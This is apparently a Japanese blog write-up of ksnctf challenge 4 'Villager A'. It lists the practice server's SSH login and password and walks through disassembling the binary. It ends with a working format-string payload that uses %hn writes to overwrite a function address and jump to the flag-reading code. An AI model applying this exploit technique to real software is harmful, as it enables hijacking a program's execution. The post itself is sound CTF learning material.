LoginSignup
0
0

More than 5 years have passed since last update.

ksnctf write up ~ 4 Villager A ~

Posted at

ksnctf 解法メモ

問題

SSH: ctfq.sweetduet.info:10022
ID: q4
Pass: q60SIMpLlej9eq49

解法

まずは問題のサーバにアクセスする。

ssh -p 10022 q4@ctfq.sweetduet.info

接続し、ls -lコマンドでファイルをみると、flag.txt, readme.txt, q4がある。
flag.txtは権限がなく読めないので、q4を実行してみる。

[q4@localhost ~]$ ./q4
What's your name?
yyamada
Hi, yyamada

Do you want the flag?
yes
Do you want the flag?
.
.
.

永遠に同じ質問をされる。
こういう入力した文字列をそのまま表示してるプログラムには、書式文字列攻撃というのが通じることがあるらしい。
特定の文字を入力すると、あるアドレスの値を好きな値に書き換えることができる。
ここがめちゃくちゃ分かりやすく解説してくれているので詳しいところは割愛。
objdump -d -M intel ./q4で逆アセンブリするとflagを読む命令があるが、jmp命令やjne命令に阻まれている。
putcharなどの関数を呼び出しているところ(0x080499e0)で、このflagを読む命令を呼び出すよう(0x08048691)に書き換えてやれば良い。

echo -e "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn" | ./q4

でFlagゲット。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0